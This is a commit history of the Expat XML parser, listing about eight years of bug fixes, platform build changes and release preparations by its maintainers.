modified minicheck.h to build under Windows.
2012-02-21 03:49:47 +00:00
Karl Waclawek a389cc4721 Modified Windows project files to import properly into Visual Studio 2010. 2012-02-21 03:45:40 +00:00
Karl Waclawek f6e294bd2c Applied path #3010222 as fix for issue #3010819. 2012-02-21 02:59:51 +00:00
Karl Waclawek 1ce475e909 Fix for issues #2884086 and #2815947. 2012-02-21 02:50:08 +00:00
Karl Waclawek 794ff432aa Modified Windows project files to import properly into Visual Studio 2010. 2012-02-21 02:45:06 +00:00
Karl Waclawek d61103ad66 Updated Windows project files to import properly in Visual Studio 2010. 2012-02-21 02:16:29 +00:00
Karl Waclawek 01a54677e8 Fix for bug ID 2958794. 2010-02-25 18:35:36 +00:00
Karl Waclawek 98a856ee20 Revised fix for issue# 2894085: differentiated between two cases where the next pointer should be updated to the end pointer or not - the differentiating negative token value is -XML_TOK_PROLOG_S. 2009-12-29 18:42:05 +00:00
Karl Waclawek 82d4951744 Fix for issue# 2894085. Removed update to next pointer. It did not seem right to force it to point somewhere between token boundaries, since that could lead the tokenizer to not recognize an end of token. 2009-11-27 13:34:29 +00:00
Karl Waclawek ebb40bfacb Fix for issue # 2895533. 2009-11-12 16:51:39 +00:00
Karl Waclawek 194e2c456e - Fix for issue # 2855609 & 2518079.
- Some code cosmetics.
2009-09-29 02:49:16 +00:00
Steven Solie 823aa3badc Some AmigaOS related changes. 2009-08-08 03:48:55 +00:00
Steven Solie 200fdc2cb4 AmigaOS specific changes to merge a 68k support patch. 2009-02-10 03:47:00 +00:00
Steven Solie a56eee7766 More AmigaOS specific changes. 2009-01-31 20:57:34 +00:00
Steven Solie ca17d1eae6 AmigaOS specific changes. See amiga/README.txt for more details. 2009-01-31 06:21:09 +00:00
Karl Waclawek 66d31c5506 Removed unnecessary linker dependencies. 2009-01-19 18:37:07 +00:00
Karl Waclawek 3a5e38e88c Added URL for Expat project site. 2009-01-19 03:35:06 +00:00
Karl Waclawek 1c0c10b52a Fix for issue #2517938: xmlwf should return a non-zero code for parsing errors. 2009-01-19 00:19:47 +00:00
Karl Waclawek 6daf07c969 As per issue #1983953: updates to the most recent versions available
at the repository http://git.savannah.gnu.org.
2009-01-18 22:58:32 +00:00
Karl Waclawek 81700c690c Fix for issue #2517946. 2009-01-18 21:55:10 +00:00
Karl Waclawek 014f661d16 Applied patch originating from Debian (http://svn.debian.org/wsvn/debian-xml-sgml/packages/expat/trunk/debian/patches/485129_fix_underquotation_in_m4.dpatch?op=file&rev=0&sc=0). 2009-01-18 21:26:13 +00:00
Sebastian Pipping 94cdbbb1db Trade expatpp for ExpatMM 2008-09-18 02:07:33 +00:00
Sebastian Pipping 63bc81813c - Move diff to unified
- Hint about variable modification inside script (not through environment)
- Integrate forgotten case ibm/not-wf/p28a (only case with lower p)
- Tell we expected not well-formed when we do instead of the opposite
2008-08-03 18:19:12 +00:00
Karl Waclawek a247ccd476 Better fix for bug #1990430. 2008-06-13 13:18:44 +00:00
Karl Waclawek 5d3f2b833e Fix for bug #1990430. 2008-06-11 14:43:57 +00:00
Karl Waclawek 352cfc8f59 Added pkg-config support - patch #1749198 by Dan Nicholson. 2007-09-03 17:26:20 +00:00
Karl Waclawek af3b8c6dfa Fix for issue #1785430. 2007-09-03 16:34:40 +00:00
Karl Waclawek 5d530f0f95 Corrected recommended namespace separators - reported in bug #1742315. 2007-06-24 17:21:25 +00:00
Karl Waclawek a5348b9941 Updated for release 2.0.1. 2007-06-16 16:17:12 +00:00
Sebastian Pipping 99b8415489 Consistent bug references (now hashmark for all). Regex used: "\b(?<!#)(\d{6,})\b" -> "#\1" 2007-06-06 12:50:08 +00:00
Karl Waclawek 4d2c9d031a Added release date. 2007-06-05 15:06:01 +00:00
Karl Waclawek 5b8b5105bd Optimized png files. 2007-06-05 15:05:33 +00:00
Karl Waclawek d95f84c84a Updated version number 2007-06-05 15:05:17 +00:00
Steven Solie 220b5e566d Removed need for amiga_main(). 2007-06-03 15:00:09 +00:00
Steven Solie 1decd7d0bd Updated for latest SDK. 2007-06-03 14:58:37 +00:00
Steven Solie 765bf559c0 Updated and removed any obsolete defines. 2007-06-03 14:57:04 +00:00
Steven Solie 78ea98ca0d Bumped version strings. 2007-06-03 14:55:49 +00:00
Steven Solie b77dbe5a1a Bumped copyright. 2007-06-03 14:55:09 +00:00
Steven Solie 358d9751e2 Updated and bumped version. 2007-06-03 14:53:24 +00:00
Steven Solie b239d266de Removed incorrect header. 2007-06-03 14:51:34 +00:00
Karl Waclawek 940382c933 Added references to newest patches and fixes. 2007-05-14 17:49:19 +00:00
Karl Waclawek 0de7d3a08a Added section about using DESTDIR and INSTALL_ROOT. 2007-05-11 18:30:17 +00:00
Karl Waclawek de79105596 Removing the comment was actually not necessary. 2007-05-11 17:20:24 +00:00
Karl Waclawek 1e91933d81 Fix for issue #1717322.
Removed deprecated comment and fixed library name.
2007-05-11 16:54:09 +00:00
Karl Waclawek 824490720a One more patch for bug #1490371. 2007-05-09 18:38:50 +00:00
Karl Waclawek 9f2d9f234b Fix for issue #1647805 (detecting -fexceptions support doesn't work
with Intel compiler). Thanks to Hazael (hmaldonado) for the fix.
2007-05-09 13:26:48 +00:00
Karl Waclawek 5e0d9e6078 Replaced all literal references to ASCII characters with macros that
explicitly specify a hex code point. This should make it work on
EBCDIC systems. Patch provided by Scott Klement for bug #1690883.
2007-05-08 02:25:35 +00:00
Karl Waclawek 37cfa469d4 Trying to make conditional syntax more cross-platform compatible.
See bugs # 1490371, 1613457, 1618673.
2007-05-05 17:26:37 +00:00
Karl Waclawek 09a7fe471b Updated version info according to libtool rules. 2007-05-05 14:13:59 +00:00
Karl Waclawek b52c224fd1 Added a missing step for the UTF-16 intall. 2007-05-05 03:46:28 +00:00
Karl Waclawek f56e31ad01 Don't need to specify the max option - its the default. 2007-05-04 00:20:59 +00:00
Karl Waclawek 32c10a4ee0 Added note about output locations for MS builds. 2007-05-04 00:17:18 +00:00
Karl Waclawek ffdb4abbd6 Added SolidCompression flag. Saves another 170KB. 2007-05-04 00:09:11 +00:00
Sebastian Pipping bddae7c3d8 Ignore .project of Eclipse 2007-05-03 19:54:50 +00:00
Sebastian Pipping 1fdc5e5dda VersionInfoVersion added (to avoid "0.0.0.0"), compression set to "lzma/max" 2007-05-03 19:51:08 +00:00
Karl Waclawek 19dbd9a928 Changed output directories so that all binaries end up in the same location. 2007-05-03 02:23:17 +00:00
Karl Waclawek 3b298e1179 Updated with new install directory structure. 2007-05-03 02:15:13 +00:00
Karl Waclawek 7770aff0d0 New install directory structure. All binaries are now in the Bin directory. 2007-05-03 02:14:30 +00:00
Karl Waclawek beda8f53eb Updated output directory settings, so that they all point to win32/bin/Debug
or win32/bin/Release. This ensures that executables can find the libraries
they depend on. Intermediate files will go into a subdirectory of win32/tmp.
2007-05-03 02:13:28 +00:00
Karl Waclawek a9a1d91fff Changed install directory and application name/version to be more typical for Windows. 2007-04-30 00:58:52 +00:00
Karl Waclawek 4d84c6e897 Corrected some typos. 2007-04-30 00:53:51 +00:00
Karl Waclawek d6075d6b5e No more search for (back)slashes in the string "STDIN".
Optimized code with regards to use of path delimters on different platforms.
2007-04-30 00:50:22 +00:00
Karl Waclawek 91f506c4e3 Re-introducing the old "indef..endif" logic, but using "?=", as ifndef is only
supported by GNU Make, but not BSD and Solaris Make. Fix for bugs
# 1490371 and #1613457.
2006-12-13 17:26:07 +00:00
Karl Waclawek e76fecea10 Forgot to mention xmlwf bugfix. 2006-11-27 03:05:20 +00:00
Karl Waclawek 56e145f7b3 Preparing for release 2.0.1. 2006-11-27 02:51:58 +00:00
Karl Waclawek 85a2890b03 Updated for release 2.0.1. 2006-11-27 01:35:45 +00:00
Karl Waclawek c5cd058508 Added xmltok_impl.c and xmltok_ns.c to source files. 2006-11-26 17:58:06 +00:00
Karl Waclawek fd79deac8b Fix for bug #1548182 . 2006-11-26 17:35:37 +00:00
Karl Waclawek 3ff6041e90 Change for MS VC++: Added #ifdefs to allow for passing xmltok_impl.c and
xmltok_ns.c to the compiler (to make them visible in IDE).
2006-11-26 17:34:46 +00:00
Karl Waclawek 704f0cd364 Updated to new CVS root URL. 2006-11-22 03:20:21 +00:00
Karl Waclawek f8df052103 Added a shortcut for building for UTF-16. 2006-09-22 14:47:27 +00:00
Karl Waclawek cf917aae90 Updated to recognize more platforms. See bug # 1554618 2006-09-22 14:42:54 +00:00
Karl Waclawek c7880974e6 (s - NULL & 1) would not compiler under GCC 4.0.0. Changed to char*
subtraction so that it will compile under MS VC++ and GCC.
2006-09-06 14:32:12 +00:00
Karl Waclawek 8d8b9361dc Fix for bug #1543233 - missing XML_ParserFree. 2006-09-05 20:07:39 +00:00
Karl Waclawek bfff9ca4e9 The Watcom compiler defines __LINUX__ and not __linux__ for cross compilation. 2006-08-05 22:43:57 +00:00
Karl Waclawek e3e0d28628 Applied patrch #1523242 - support for Open Watcom 1.5. 2006-08-05 17:01:43 +00:00
Karl Waclawek 9922bc6e57 Improved fix for issues # 1515266 and # 1515600. Will now preserve the
"failover to default handler" logic. Note: clearing the character data handler
does not take effect immediately anymore.
2006-07-10 18:59:52 +00:00
Karl Waclawek 89f104aebe Fixed infinite loop when character data handler was cleared under
XML_TOK_DATA_CHARS in doContent() and doCdataSection().
2006-07-06 02:50:27 +00:00
Karl Waclawek 647d969449 Fix for issues # 1515266 and # 1515600. The inner for loop under
XML_TOK_DATA_CHARS in doContent() and doCdataSection() did not
check if the character data handler was set each time a call-back was made.
2006-07-05 13:06:59 +00:00
Fred L. Drake, Jr. 7622ee5779 record my changes from today and yesterday 2006-07-02 02:11:55 +00:00
Fred L. Drake, Jr. 6788d83616 SF bug #1515266: as noted, suspending the parser has the same problem that
the abort code has; added a check and regression test or that
2006-07-01 15:30:38 +00:00
Fred L. Drake, Jr. 66cc81dd7c SF bug #1515266: missing check of stopped parser in doContext() for loop
(added regression test, closing bug report)
2006-07-01 15:01:00 +00:00
Fred L. Drake, Jr. 60391fb209 if the test reports a failure message, always display it (it was
ignored); it makes no sense to ever hide this, so we don't worry about
the verbosity setting for this
2006-07-01 14:54:06 +00:00
Fred L. Drake, Jr. 021ea9f68c SF bug #1515266: missing check of stopped parser in doContext() for loop
(variation of patch by Brett Cannon; test case to come tomorrow)
2006-07-01 03:57:29 +00:00
Fred L. Drake, Jr. 3e3b98df8a - suppress compiler warning when the tests are built with C++
- remove non-implemented forking API from minicheck; it is not used, and
  we always use minicheck instead of check
2006-07-01 02:34:50 +00:00
Karl Waclawek f18b068f38 Fix for bug #1513566: filemap() in readfilemap.c doesn't handle zero length
files, and the same issue applies to filemap() in unixfilemap.c
2006-06-28 02:55:51 +00:00
Karl Waclawek a4db8198e7 Adjusted for changes in SF links and instructions. 2006-06-05 16:27:08 +00:00
Karl Waclawek 1c42f84506 __cdecl should be used for MS compilers even if MS extensions are turned off. 2006-06-02 12:17:36 +00:00
Karl Waclawek 1a1fea41db Casting away some integer conversion warnings that should not pose a problem. 2006-04-14 18:03:57 +00:00
Karl Waclawek b5bd929090 Added a comment about processFile giving problems on files larger than INT_MAX. 2006-04-14 18:02:08 +00:00
Karl Waclawek 1d17d4f9f4 Casting away some integer conversion warnings that should not pose a problem. 2006-04-14 17:53:03 +00:00
Karl Waclawek c71f27573b One should not cast a pointer to unsigned long, as it may not work on non-32bit systems. 2006-04-14 17:19:09 +00:00
Karl Waclawek 988c6fc134 Added note that XML_LARGE_SIZE implies a breaking change to the ABI. 2006-04-08 02:52:06 +00:00
Karl Waclawek b43c6f3df9 Removed DESCRIPTION statement - only valid when compiling 16bit
virtual device drivers (VxD).
2006-04-07 20:54:55 +00:00
Karl Waclawek 855d53bf77 Some typos corrected. 2006-04-07 20:29:26 +00:00
Karl Waclawek 9e0e2e6e0c Added XML_FEATURE_NS and XML_FEATURE_LARGE_SIZE values,
as they had not been documented yet.
2006-04-07 20:28:19 +00:00
Karl Waclawek 74a3f4673d Modified code to use XML_ParserReset() instead of creating a new
parser instance on each iteration of the main loop.
2006-04-07 20:25:43 +00:00
Karl Waclawek 8617df5d5e Added XML_FEATURE_LARGE_SIZE to be able to detect if Expat was
compiled with XML_LARGE_SIZE - see XML_GetFeatureList().
2006-04-07 20:24:20 +00:00
Steven Solie b882b1259b changed default sharedlibdir 2006-03-19 04:45:43 +00:00
Steven Solie 01146227ab bumped version to 4.1 2006-03-19 04:35:27 +00:00
Steven Solie a1b46dabfb added 4.1 notes 2006-03-19 04:34:35 +00:00
Steven Solie 88fc663d40 now allocates shared memory and frees the correct memory block 2006-03-19 04:32:58 +00:00
Karl Waclawek 65fb6b9167 Applied patch #1437840. Fix for bugs #1414066 and #1033965 . 2006-03-06 14:24:36 +00:00
Karl Waclawek e5bee8cde7 Fix for bug # 1408143: "make check" failure. 2006-01-25 23:04:46 +00:00
Karl Waclawek 6745f2401a Added missing XML_UNICODE_WCHAR_T to static debug build for UTF-16. 2006-01-19 01:04:23 +00:00
Karl Waclawek c48c134a15 Updated web site with release news. 2006-01-11 15:52:12 +00:00
Karl Waclawek 1a6d93c530 Updated libtool version info. 2006-01-11 01:10:46 +00:00
Karl Waclawek 1e2e2fc2fe More detail on line/column numbers. 2006-01-11 01:01:23 +00:00
Karl Waclawek 13ef942e37 Updated release date. 2006-01-10 01:24:20 +00:00
Karl Waclawek 8db4a61a9a Prepared for release 2.0.0. 2006-01-06 03:59:05 +00:00
Karl Waclawek efcfaa79a9 Added support for XML_LARGE_SIZE. 2006-01-01 21:17:41 +00:00
Karl Waclawek c8c07173c3 Fixed some file references and updated to InnoSetup 5.1.6. 2006-01-01 20:59:25 +00:00
Karl Waclawek 0e0d422f6c Small corrections. 2006-01-01 18:53:44 +00:00
Steven Solie a37dbbaaa6 Added 2.0 definitions and bumped version 2005-12-30 04:19:05 +00:00
Steven Solie 819ad2f31b added missing include path 2005-12-30 04:18:13 +00:00
Karl Waclawek 2ed6c3abda Updated copyright dates. 2005-12-29 05:13:05 +00:00
Steven Solie 6ea62ff561 added amigaconfig.h 2005-12-29 03:01:04 +00:00
Karl Waclawek 925a683135 * Added support for XML_LARGE_SIZE.
* Added comment about using with UTF-8 version of Expat only.
2005-12-28 18:43:36 +00:00
Karl Waclawek 3d14ffc8c7 Added some info about XML_LARGE_SIZE and make options. 2005-12-28 18:41:57 +00:00
Karl Waclawek bd5b3143aa Added some whitespace. 2005-12-28 06:07:52 +00:00
Karl Waclawek ba0482ed78 Adjusted to the new return type of XML_GetCurrentLineNumber
and XML_GetCurrentColumnNumber when XML_LARGE_SIZE is defined.
2005-12-28 06:06:11 +00:00
Karl Waclawek b23cb5cb6a Updated to reflect that we use our own Check implementation now. 2005-12-28 06:03:29 +00:00
Karl Waclawek 4d29980d5f Added news item. Moved some older news into news archive. 2005-12-27 16:49:44 +00:00
Karl Waclawek 1bc813d2bd More directories to exclude. 2005-12-27 16:20:26 +00:00
Karl Waclawek aa03489ca2 Seems we don't have to specify directories. 2005-12-27 16:18:03 +00:00
Steven Solie 6fb807c211 Bumped lib version for 4.0 release 2005-12-27 15:48:13 +00:00
Steven Solie 99437124c1 now creates required dirs 2005-12-27 15:47:31 +00:00
Steven Solie 3b078c4b2f *** empty log message *** 2005-12-27 15:45:30 +00:00
Karl Waclawek 92731631fd Removed empty amiga directories. 2005-12-27 04:49:49 +00:00
Karl Waclawek 8e94886c9c Updated for new setup application. 2005-12-26 19:38:38 +00:00
Karl Waclawek 9a33231046 Added info about VS 2005. 2005-12-26 19:36:21 +00:00
Karl Waclawek edc0f36d7c Updated release version. 2005-12-26 18:08:19 +00:00
Karl Waclawek f41b3c2003 Bumped version number to 2.0.0. 2005-12-26 15:43:22 +00:00
Karl Waclawek 85c092da87 Removed newly added include directives of configuration header files.
They seem to be unnecessary.
2005-12-25 17:06:22 +00:00
Karl Waclawek f967e6812a * Added integer modifier macro to support 64-bit integers in printf.
* Made include directives of configuration header files sync'ed
  with xmlparse.c.
2005-12-25 17:05:10 +00:00
Karl Waclawek d707e890ea * Added integer modifier macro to support 64-bit integers in printf.
* Made include directives to be in sync with xmlparse.c.
2005-12-25 16:56:05 +00:00
Karl Waclawek b85751153b Added integer modifier macro to support 64-bit integers in printf. 2005-12-25 16:54:10 +00:00
Karl Waclawek cf4dd114eb Added 64-bit support for MS VC++ 6.0. 2005-12-25 16:52:13 +00:00
Karl Waclawek ae5fcf90f8 Fixed incorrect cast which would cause 64-bit integers not to be set to a 64-bit -1 value. 2005-12-25 16:50:52 +00:00
Steven Solie 11d4ee824d *** empty log message *** 2005-12-24 17:35:51 +00:00
Steven Solie 0e4b9eb90f *** empty log message *** 2005-12-24 16:21:35 +00:00
Steven Solie 5393717eef *** empty log message *** 2005-12-24 06:52:33 +00:00
Steven Solie 65d6f4c78d *** empty log message *** 2005-12-24 06:45:36 +00:00
Steven Solie 607730d3fe *** empty log message *** 2005-12-24 06:39:56 +00:00
Steven Solie 0845031711 *** empty log message *** 2005-12-24 06:34:24 +00:00
Karl Waclawek c5241bc79c Preparing for release 2.0. 2005-12-23 16:57:53 +00:00
Karl Waclawek 54acff0d55 New pre-release snapshot for Expat 2.0. 2005-12-23 16:47:23 +00:00
Karl Waclawek f8412b2167 Added support for 64-bit integers when reporting byte indexes,
line and column numbers. Can be turned on/off using the
XML_LARGE_SIZE switch.
2005-12-23 14:45:27 +00:00
Karl Waclawek b68d8cffaa Fixed non-standard line breaks. 2005-12-16 17:41:19 +00:00
Karl Waclawek 825a19cbe6 Fixed omission of UTF-16 output. 2005-12-13 17:20:16 +00:00
Karl Waclawek bbe15d6e69 Added int type casts for 64 bit portability, to avoid compiler warnings.
Works for MS VC++, not tested on other platforms.
2005-11-28 20:02:36 +00:00
Karl Waclawek 36aca9c31f Added a note about possible integer overflow when using large input buffers. 2005-11-28 20:00:50 +00:00
Karl Waclawek cebeca3b56 Added instructions for creating MinGW libraries. 2005-11-28 18:42:49 +00:00
Karl Waclawek b81af0c990 In preparation for next release. 2005-11-27 21:50:47 +00:00
Karl Waclawek e0667736c4 Changed back to anonymous CVS access. 2005-11-27 21:36:15 +00:00
Karl Waclawek b3ab45b8ec Fix for bug # 1271642. 2005-11-24 14:15:22 +00:00
Karl Waclawek cbf8ace5fb Fix for bug #1221160. 2005-06-15 14:24:26 +00:00
Karl Waclawek 878e9108fd Fix for bug #1023646. 2005-04-19 18:25:08 +00:00
Karl Waclawek 1da4815bbe Applied patch for bug # 1156398. 2005-03-04 02:20:32 +00:00
Steven Solie b552bd5731 AmigaOS support files 2005-02-26 01:38:54 +00:00
Steven Solie e6beafd504 Added AmigaOS support. 2005-02-26 01:38:13 +00:00
Fred L. Drake, Jr. 36bd5dab5c when uninstalling the library, remove both headers
(closes SF bug #1114960)
2005-02-10 15:52:02 +00:00
Karl Waclawek 538dcef870 Added more features planned for Expat 3.0. 2005-01-31 14:52:55 +00:00
Karl Waclawek 1dcefca028 Fixed error found by Reid Spencer. 2005-01-30 05:44:46 +00:00
Fred L. Drake, Jr. a236465479 more changes noted 2005-01-29 05:11:13 +00:00
Fred L. Drake, Jr. 2f3aafe992 include the C++ test harness in the Windows package 2005-01-29 05:00:15 +00:00
Fred L. Drake, Jr. 51c170f0cd Report XML_NS setting via XML_GetFeatureList(). 2005-01-29 04:48:44 +00:00
Fred L. Drake, Jr. 5270eeba30 - add note about XML 1.1
- add missing link to tracker item
2005-01-29 03:26:56 +00:00
Fred L. Drake, Jr. ba51a510b2 add a note about the planned change in XML_ParserReset 2005-01-29 03:24:21 +00:00
Fred L. Drake, Jr. a2ae1115c6 add news of the pre-release snapshot 2005-01-29 03:18:02 +00:00
Fred L. Drake, Jr. 4bf87bcbf7 add the C++ test harness 2005-01-29 02:55:53 +00:00
Fred L. Drake, Jr. a9444dc7a9 rename macros: "parsing" -> "ps_parsing", "finalBuffer" -> "ps_finalBuffer"
(closes SF bug #1021776: Recursion in macro "parsing", HP 11.0)
2005-01-29 02:28:33 +00:00
Fred L. Drake, Jr. e2677da42c make errors reported display more like GCC error messages, so editors
like Emacs can provide functions like "go to next error", etc.
2005-01-28 16:16:14 +00:00
Fred L. Drake, Jr. 99682bfd28 implement verbose mode in minicheck to make it easier to determine which
tests failed
2005-01-28 06:32:31 +00:00
Fred L. Drake, Jr. 6ba548aabc fix dependency information for C++ tests 2005-01-28 05:46:46 +00:00
Fred L. Drake, Jr. a1391e586a make all C strings ASCII (7-bits) to avoid editors from trying to
re-encode the source text incorrectly; we really want the input data to
be exactly what it should be
2005-01-28 05:41:56 +00:00
Fred L. Drake, Jr. 537b806d7e test using Expat from C++
(closes SF bug #1006708)
2005-01-28 05:19:53 +00:00
Fred L. Drake, Jr. f2f6fed3b1 make sure the -I options to the headers for the version being compiled
come before any additional -I options passed in via CPPFLAGS
(closes SF bug #693747)
2005-01-28 04:35:57 +00:00
Fred L. Drake, Jr. ee9719230c remove use of the check library; always use our own testing package
(this reduces variables and simplifies the build process)
2005-01-27 06:27:57 +00:00
Karl Waclawek 763cce35ef New link for OCaml Expat. 2005-01-10 14:17:02 +00:00
Karl Waclawek d106fb41b7 "if (ns)" check in addBinding() is not necessary, since it is only
called when namespace processing is turned on.
2004-12-24 18:25:32 +00:00
Karl Waclawek 57081d0c3c Fix for bug # 695407: Reserved prefixes and namespace names.
Contributed by Peter van der Beken.
2004-12-24 18:00:28 +00:00
Karl Waclawek f47aaad2cd Fix for bug # 1090885: Problem with Suspend/Resume mechanism.
The code path through XML_Parse() when XML_CONTEXT_BYTES
was not defined, did not take into account that XML_ResumParser()
uses bufferPtr and parseEndPtr as the pointers into the working buffer.
2004-12-24 16:30:25 +00:00
Karl Waclawek 7f56ceddbf Improved error message - see bug # 972802. 2004-12-21 18:30:52 +00:00
Karl Waclawek 837398fadb Made it consistent that in the case of namespace triplets, the namespace
separator between local name and prefix is always present, even when
it is omitted between uri and local name.
2004-12-20 05:04:41 +00:00
Karl Waclawek 634291221a Improved and corrected namespace processing documentation. 2004-12-20 03:23:29 +00:00
Karl Waclawek 1f86de6168 Fixed comment for XML_ParserCreateNS. 2004-12-20 03:19:09 +00:00
Karl Waclawek 8fcf7de86f Applied the DESTDIR patch provided by Enrico Weigelt.
This is a modified form of the patches included with Patch # 779334
and Bug # 985235.
2004-12-17 18:08:08 +00:00
Karl Waclawek 4989a3eece Small link fix. 2004-12-14 17:26:18 +00:00
Karl Waclawek dfd6aa79d9 Official name of SAX.NET changed to SAX for .NET. 2004-12-14 17:24:15 +00:00
Fred L. Drake, Jr. 2a78af4434 add links to LuaExpat and LuaSOAP 2004-11-29 21:52:14 +00:00
Karl Waclawek 781e89ed08 Fix for bug #1065040. Improved const correctness.
Minor improvement of XML_GetFeatureList().
2004-11-26 15:16:17 +00:00
Karl Waclawek 4fe9e56a02 Fix for bug #1065042. Improved const correctness. 2004-11-26 15:00:38 +00:00
Karl Waclawek bbe86f3dff Fix for bug #1065047. Improved const correctness. 2004-11-26 14:58:24 +00:00
Karl Waclawek d265895d31 Fix for bug #1065044. Improved const correctness. 2004-11-26 14:56:52 +00:00
Karl Waclawek 45594b1bb3 Added include guard to expat_external.h.
Renamed include guard for expat.h, to reflect the changed file name.
2004-11-26 00:20:21 +00:00
Karl Waclawek a4bf35d1d1 Added to documentation of XML_ParserReset(). 2004-11-26 00:18:15 +00:00
Fred L. Drake, Jr. 467731ab14 make the headers for support code more C++ friendly 2004-09-30 04:58:09 +00:00
Fred L. Drake, Jr. 0699f3c162 convert MSVC project and workspace files to binary files that must always
use the DOS/Windows CR-LF line end convention

(closes SF bug #1007088)
2004-09-30 02:47:03 +00:00
Fred L. Drake, Jr. 78ee5b3911 - avoided assumptions that glob patterns before a trailing slash will
be expanded; this seems to be a problem in some non-bash shells
  (see SF bug #1033923)
- move counter updates to a shared function
- modified one of the output messages to be (hopefully) less confusing
2004-09-30 02:34:48 +00:00
Fred L. Drake, Jr. a605dc750b Install expat_external.h properly on all platforms.
Closes SF bug #1000112.
2004-09-24 15:19:11 +00:00
Karl Waclawek b705d712c2 Removed last comma in enum XML_Status declaration to improve
compiler compatibility.
2004-09-24 13:06:29 +00:00
Fred L. Drake, Jr. c055ec50f5 reference to an old snapshot should no longer be a hyperlink 2004-08-24 17:40:39 +00:00
Karl Waclawek b7154acf0a Added type casts necessary for compiling as C++ file (at least under VC++). 2004-08-10 18:18:25 +00:00
Karl Waclawek a14f6a8b2d Added type cast necessary for compiling as C++ file (at least under VC++). 2004-08-10 18:06:29 +00:00
Karl Waclawek a5af514c3d Fixed type error that came to light when compiling as C++ file. 2004-08-10 18:04:34 +00:00
Karl Waclawek f44f6b4200 Fix for bug #1006708. 2004-08-10 17:34:19 +00:00
Fred L. Drake, Jr. 4057b04bbd add news of the 1.95.8 release 2004-07-26 14:53:39 +00:00
Fred L. Drake, Jr. 9b79a5a3c2 fix busted %changelog entry 2004-07-24 05:26:48 +00:00
Fred L. Drake, Jr. 821aaf93b1 add notes for 1.95.8 release 2004-07-23 04:48:36 +00:00
Fred L. Drake, Jr. 5192a7a944 - add some missing files
- re-arrange to make comparison with the actual list of files easier
2004-07-23 03:59:40 +00:00
Fred L. Drake, Jr. 46315bab40 when controlling the CVS client from a script, we should always
disable the personal CVS config file to avoid any unpredictable
behavior
2004-07-23 03:42:23 +00:00
Fred L. Drake, Jr. b65b273921 added missing files 2004-07-23 03:38:43 +00:00
Fred L. Drake, Jr. 05b2ebc2dd Add basic documentation for the suspend/resume feature.
Closes SF bug #880632.
2004-07-23 03:28:09 +00:00
Fred L. Drake, Jr. 1d757a0771 The status argument to XML_GetParsingStatus() cannot be NULL. 2004-07-23 02:02:41 +00:00
Fred L. Drake, Jr. f70a4ab7dd added more detail about XML_CONTEXT_BYTES 2004-07-16 02:31:27 +00:00
Fred L. Drake, Jr. 02de9eac60 Update version number to 1.95.8 in preparation for release. 2004-07-16 02:10:57 +00:00
Fred L. Drake, Jr. b3c95c25bf add some comments about when various error codes were added 2004-07-16 00:54:57 +00:00
Fred L. Drake, Jr. 3188f13393 - fix the description of the XML_DTD preprocessor symbol
(closes SF bug #916232)
- fix markup error (swapped end tags)
2004-07-16 00:13:05 +00:00
Fred L. Drake, Jr. c82f512b97 update tests to reflect that a more specific error message is being generated
for some cases
2004-07-15 23:29:25 +00:00
Fred L. Drake, Jr. 1044e5b3e1 - avoid using the "check" library's suite_free() function; it is not
available in all versions of the library, and srunner_free() is
  sufficient
  (closes SF bug #985192)
- avoid some compiler warnings
2004-07-15 22:54:19 +00:00
Karl Waclawek c834048b0f Applied patch for bug #961698 supplied by Anders Carlsson. 2004-05-27 17:38:52 +00:00
Karl Waclawek 99f5788c21 Added a few more meaningful error codes (and messages). 2004-05-18 13:50:13 +00:00
Karl Waclawek 0d04bafbbd Added expat_external.h 2004-05-07 20:00:48 +00:00
Karl Waclawek cac0ed29a8 Renamed exrternal.h to expat_external.h.
Fixed up references to this file.
2004-05-06 13:55:49 +00:00
Karl Waclawek 656d80eca2 Fix for bug #946506: PublicId for DOCTYPE not checked & normalized. 2004-05-02 17:31:13 +00:00
Karl Waclawek 0595209dda Made note about building under Visual Studio .NET. 2004-04-30 17:28:05 +00:00
Karl Waclawek 804897854f Fix for bug #928113 . 2004-04-30 15:39:47 +00:00
Fred L. Drake, Jr. 8a8f58a2d0 patch from Shard (neoni dot net) to support BeOS 2004-04-30 03:44:34 +00:00
Fred L. Drake, Jr. d1df594ca2 If the check library is not available, use an abbreviated implementation of
the check API.  This allows the unit and regression tests to be run on any
system without requiring an external package.
2004-04-30 03:18:11 +00:00
Karl Waclawek 69af7dedff Fixed compile errors when XML_DTD and XML_CONTEXT_BYTES
were undefined.
2004-04-29 17:53:34 +00:00
Karl Waclawek e55585a9ee Added note about the effects on well-formedness checking when
calling XML_UseForeignDTD(parser, XML_TRUE).
2004-04-27 00:50:50 +00:00
Karl Waclawek edca100c0c Added comment about the effects on well-formedness checking after
calling XML_UseForeignDTD(parser, XML_TRUE).
2004-04-27 00:49:34 +00:00
Karl Waclawek c82e539ccd Re-ordered links to 3rd party wrappers. 2004-04-26 20:36:10 +00:00
Karl Waclawek 42e289597f Added link to SAXExpat.NET. 2004-04-26 19:45:23 +00:00
Karl Waclawek 6361de48a2 Would not build on Linux without including stddef.h before
including external.h.
2004-04-24 23:56:41 +00:00
Karl Waclawek 149774b6ec Fix for bug #920274. 2004-04-13 13:17:59 +00:00
Fred L. Drake, Jr. 8e56c54876 update URL to the mailing lists page 2004-04-02 21:53:40 +00:00
Karl Waclawek 9b665601fd Fix for bug #923913, Calling convention problems.
For details see bug description.
2004-03-26 14:24:11 +00:00
Karl Waclawek 22fc8d15d4 Changed to allow aborting a suspended parser instance. 2004-03-16 22:14:31 +00:00
Karl Waclawek 9c48460b5e Removed ability to suspend while parsing an external parameter entity.
The problem is that on return from the externalEntityRefHandler() call-back
the parser currently assumes that parsing of the parameter entity is finished,
and updates its internal state accordingly. I do not have the time at this
point to implement and test a solution. Being able to suspend while parsing
the DTD is also less desirable than doing the same while parsing content.
2004-03-16 20:29:28 +00:00
Karl Waclawek c50aeb9f9c When the parser was suspended while processing an internal entity,
an XML_ERROR_NO_ELEMENTS condition could happen.
The reason was that the internal entity's start tag level was not preserved
when parsing was suspended. This has been corrected.
2004-03-16 04:41:54 +00:00
Karl Waclawek 86f4b1471b Fixed the XML_GetCurrentLine/ColumnNumber() functions so that
they don't produce an access violation when the value of eventPtr is
less than the value of positionPtr. This can happen when a handler
raises an exception or potentially in some border cases.

Also added some more updates of eventPtr.
2004-03-16 04:27:18 +00:00
Karl Waclawek 2a3e8fa423 Changed signature of XML_GetParsingStatus(), changing the return value
to a parameter passed by reference (pointer). It seems that  the processing
of return values is not standardized, even when calling convention and
platform are specified. This should make Expat more usable as a shared library.
2004-03-16 03:53:24 +00:00
